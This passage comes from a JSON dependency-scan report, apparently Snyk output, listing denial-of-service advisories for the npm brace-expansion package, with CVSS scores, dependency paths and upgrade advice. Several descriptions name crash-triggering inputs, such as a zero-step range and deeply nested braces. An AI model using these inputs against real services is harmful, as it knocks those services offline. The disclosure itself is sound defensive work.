"creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can 